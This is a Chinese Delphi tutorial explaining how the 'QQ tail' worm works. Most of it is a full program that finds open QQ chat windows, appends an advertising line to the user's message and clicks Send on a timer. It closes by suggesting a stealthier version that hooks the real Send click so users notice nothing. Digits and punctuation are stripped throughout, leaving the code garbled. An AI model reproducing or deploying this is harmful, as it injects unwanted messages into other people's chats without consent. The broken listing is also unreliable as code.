QQ尾巴病毒的发送原理分析
QQ尾巴的发作情况 当用户打开一个QQ消息发送窗口时 病毒会自动往消息文本框里输入文本 然后不等用户反应过来就发出去了
程序实现 首先要找到QQ消息发送窗口的句柄以及消息文本框与 发送 按钮的窗口句柄
一 如何找到QQ消息发送窗口句柄
QQ消息发送窗口有两种 一种是消息模式 在这种情况下 窗口标题含有 发送消息 字样 一种是聊天模式 窗口标题含有 聊天中 字样
通过枚举窗口就可找到相应的句柄
// 取得QQ的发送消息窗口
function GetQQWnd: HWND;
var
hCurrentWindow: HWnd;
WndText:String;
begin
hCurrentWindow := GetWindow(Application Handle GW_HWNDFIRST);
while hCurrentWindow <> do
begin
WndText:=GetWndText(hCurrentWindow);
if (Pos( 聊天中 WndText)> ) or (Pos( 发送消息 WndText)> ) then
begin
Result:=hCurrentWindow;
Exit;
end;
hCurrentWindow := GetWindow(hCurrentWindow GW_HWNDNEXT);
end;
Result:= ;
end;
二 如何找到 发送 按钮窗口句柄
找到了QQ的发送消息窗口后 就可以进一步查找 发送 按钮句柄了 如窗口句柄为qqWnd 则可以用一个循环 查找文本中含有 发送 字样的窗口 经过试验发现 发送 按钮恰恰是窗体的第一个子窗口 这样 可以用
btnWnd:=GetDlgItem(qqWnd ); // 发送按钮
来获得 发送 按钮的句柄
三 如何找到消息文本框窗口句柄
消息文本框并不好找 不过你可以先在消息文本框中输入几个字母 如 abcd 这样我们就可以用上述方法来查找了 不过通过实验后 发现消息文本框并不是QQ窗口的直接子窗口 而是其中一个子窗口的子窗口 通过实验 可以用
txtWnd:=GetWindow(GetDlgItem(qqWnd ) GW_CHILD); // 文本框
来获得
四 如何获得原消息文本框的文本
要获取原消息文本框的文本 只需要一个API函数就行了 如下
// 获得窗口文本
function GetWndText(hWnd: HWND): String;
Var
Ret:LongInt;
mText:PChar;
Buf:Integer;
begin
Ret:=SendMessage(hWnd WM_GETTEXTLENGTH )+ ;
GetMem(mText Ret);
try
Buf:=LongInt(mText);
SendMessage(hWnd WM_GETTEXT Ret Buf);
Result:=StrPas(mText);
finally
FreeMem(mText Ret);
end;
end;
五 如何住原消息文本框里追加文本
与取文本相反
// 发送文本到窗口
procedure SetWndText(hWnd: HWND; Text: String);
Var
Ret:LongInt;
mText:PChar;
Buf:Integer;
begin
GetMem(mText Length(Text));
StrCopy(mText PChar(Text));
try
Buf:=LongInt(mText);
SendMessage(hWnd WM_SETTEXT Buf);
finally
FreeMem(mText Length(Text));
end;
end;
六 如果让 发送 按钮自动点击
一切都准备好了 现在要开始发送了 为了让消息自动发送 我们可以模拟 发送 按钮被点击了
SendMessage(btnWnd WM_LBUTTONDOWN MK_LBUTTON );
SendMessage(btnWnd WM_LBUTTONUP );
通过模拟一个鼠标在 开始 按钮上的按下与放开 就实现了点击发送功能
七 其它的定时功能比较简单 在此也不多说了
八 全部源代码如下
unit Unit ;
interface
uses
Windows Messages SysUtils Variants Classes Graphics Controls Forms
Dialogs StdCtrls ExtCtrls;
type
TForm = class(TForm)
Timer : TTimer;
Button : TButton;
Edit : TEdit;
Label : TLabel;
Button : TButton;
procedure Timer Timer(Sender: TObject);
procedure Button Click(Sender: TObject);
procedure Button Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form : TForm ;
implementation
{$R * dfm}
// 获得窗口文本
function GetWndText(hWnd: HWND): String;
Var
Ret:LongInt;
mText:PChar;
Buf:Integer;
begin
Ret:=SendMessage(hWnd WM_GETTEXTLENGTH )+ ;
GetMem(mText Ret);
try
Buf:=LongInt(mText);
SendMessage(hWnd WM_GETTEXT Ret Buf);
Result:=StrPas(mText);
finally
FreeMem(mText Ret);
end;
end;
// 发送文本到窗口
procedure SetWndText(hWnd: HWND; Text: String);
Var
Ret:LongInt;
mText:PChar;
Buf:Integer;
begin
GetMem(mText Length(Text));
StrCopy(mText PChar(Text));
try
Buf:=LongInt(mText);
SendMessage(hWnd WM_SETTEXT Buf);
finally
FreeMem(mText Length(Text));
end;
end;
// 取得QQ的发送消息窗口
function GetQQWnd: HWND;
var
hCurrentWindow: HWnd;
WndText:String;
begin
hCurrentWindow := GetWindow(Application Handle GW_HWNDFIRST);
while hCurrentWindow <> do
begin
WndText:=GetWndText(hCurrentWindow);
if (Pos( 聊天中 WndText)> ) or (Pos( 发送消息 WndText)> ) then
begin
Result:=hCurrentWindow;
Exit;
end;
hCurrentWindow := GetWindow(hCurrentWindow GW_HWNDNEXT);
end;
Result:= ;
end;
// 定时处理
procedure TimerProc;
var
qqWnd txtWnd btnWnd:HWND;
Msg:String;
begin
qqWnd:=GetQQWnd;
if qqWnd= then Exit;
btnWnd:=GetDlgItem(qqWnd ); // 发送按钮
txtWnd:=GetWindow(GetDlgItem(qqWnd ) GW_CHILD); // 文本框
if (btnWnd= ) or (txtWnd= ) then Exit;
Msg:=GetWndText(txtWnd);
Msg:=Msg+# +# + 欢迎光临绿荫网络// lvyin net ;
SetWndText(txtWnd Msg);
SendMessage(btnWnd WM_LBUTTONDOWN MK_LBUTTON );
SendMessage(btnWnd WM_LBUTTONUP );
end;
procedure TForm Timer Timer(Sender: TObject);
begin
TimerProc;
end;
procedure TForm Button Click(Sender: TObject);
begin
Timer Enabled :=not Timer Enabled;
if Timer Enabled then
Button Caption := 停 止
else
Button Caption := 开 始 ;
end;
procedure TForm Button Click(Sender: TObject);
begin
Timer Interval :=StrToInt(Edit Text);
end;
end
九 总结 上面只讲述了QQ消息自动发送的主要功能 这或许跟QQ尾巴的原理不同(我也不知道) 但总体上应该差不多 如果要做到让用户感觉不到异常 就要改一下了 不要自动发送 而是在当用户点击了 发送 按钮后再把文本加进去 这样的话可拦截 发送 按钮的点击消息 然后再用上述方法把文本加进去 然后把消息交还原程序处理 至于如何让它成为病毒 会自我复制 自我隐藏等功能 那又是另外一个话题了 在此就不多讲了
lishixinzhi/Article/program/Delphi/201311/8482
2018-10-31 广告